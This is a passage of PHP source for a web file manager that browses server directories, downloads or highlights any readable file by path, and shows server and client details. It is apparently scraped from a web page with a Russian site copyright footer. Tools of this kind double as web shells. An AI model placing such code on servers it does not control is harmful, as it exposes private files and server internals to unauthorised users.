            if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE;
            tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols);
        }
    }
    return;
}

function tree_plus (&$tree, &$hassubdirs, $p) {
    if ($path = spath(realpath($p))) {
        $tree[$path] = tree_getsubdirs($path);
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
            $subdir = $path . $tree[$path][$i];
            if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir);
        }
    }
    return;
}

function tree_minus (&$tree, &$hassubdirs, $p) {
    $dirchanged = FALSE;
    if ($path = spath(realpath($p))) {
        if (!empty($tree[$path])) {
            for ($i = 0; $i < sizeof($tree[$path]); $i++) {
                $subdir = $path . $tree[$path][$i] . '/';
                if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL;
            }
            $tree[$path] = NULL;
            if (substr($_SESSION['dir'], 0, strlen($path)) == $path) {
                $_SESSION['dir'] = $path;
                $dirchanged = TRUE;
            }
        }
    }
    return $dirchanged;
}

function tree_getsubdirs ($path) {
    $subdirs = array();
    if ($p = @opendir($path)) {
        for ($i = 0; ($filename = readdir($p)) !== FALSE;) {
            if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/';
        }
    }
    sort($subdirs);
    return $subdirs;
}

function show ($file) {
    global $words;
    if (@is_readable($file) && @is_file($file)) {
        header("Pragma: public");
        header("Expires: 0");
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header('Content-Type: ' . getmimetype($file));
        header('Content-Disposition: attachment; filename=' . basename($file) . ';');
        if (@readfile($file) !== FALSE) return TRUE;
    }
    return FALSE;
}

function show_highlight ($file) {
    global $words;
    if (@is_readable($file) && @is_file($file)) {
        header('Content-Disposition: filename=' . basename($file));
        echo("<html>\n<head><title>");
        echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof']));
        echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n");
        $size = sizeof(file($file));
        for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i);
        echo("</code>\n</td>\n<td nowrap>\n");
        $shown = @highlight_file($file);
        echo("\n");
        echo("</td>\n</tr>\n</table>\n");
        echo("</body>\n");
        echo("</html>");
        if ($shown) return TRUE;
    }
    return FALSE;
}

function getmimetype ($file) {
    /* $mime = 'application/octet-stream'; */
    $mime = 'text/plain';
    $ext = substr($file, strrpos($file, '.') + 1);
    if (@is_readable('/etc/mime.types')) {
        $f = fopen('/etc/mime.types', 'r');
        while (!feof($f)) {
            $line = fgets($f, 4096);
            $found = FALSE;
            $mim = strtok($line," \n\t");
            $ex = strtok(" \n\t");
            while ($ex && !$found) {
                if (strtolower($ex) == strtolower($ext)) {
                    $found = TRUE;
                    $mime = $mim;
                    break;
                }
                $ex = strtok(" \n\t");
            }
            if ($found) break;
        }
        fclose($f);
    }
    return $mime;
}

function dirlisting ($inaframe = FALSE) {
    global $self, $homedir, $words;
    global $error, $notice;
    global $quota, $quotacmd;
    $p = '&' . SID;
    html_header($_SESSION['dir']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['REMOTE_ADDR'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['HTTP_X_FORWARDED_FOR'])); ?></td>
    </tr>

    <tr>

        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td bgcolor="#EEEEEE" colspan="2">
            <table border="0" cellspacing="0" cellpadding="0">
            <tr>
                <td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td>
                <td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td>
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
  

© 2005 – 2022 ИМИД Все права защищены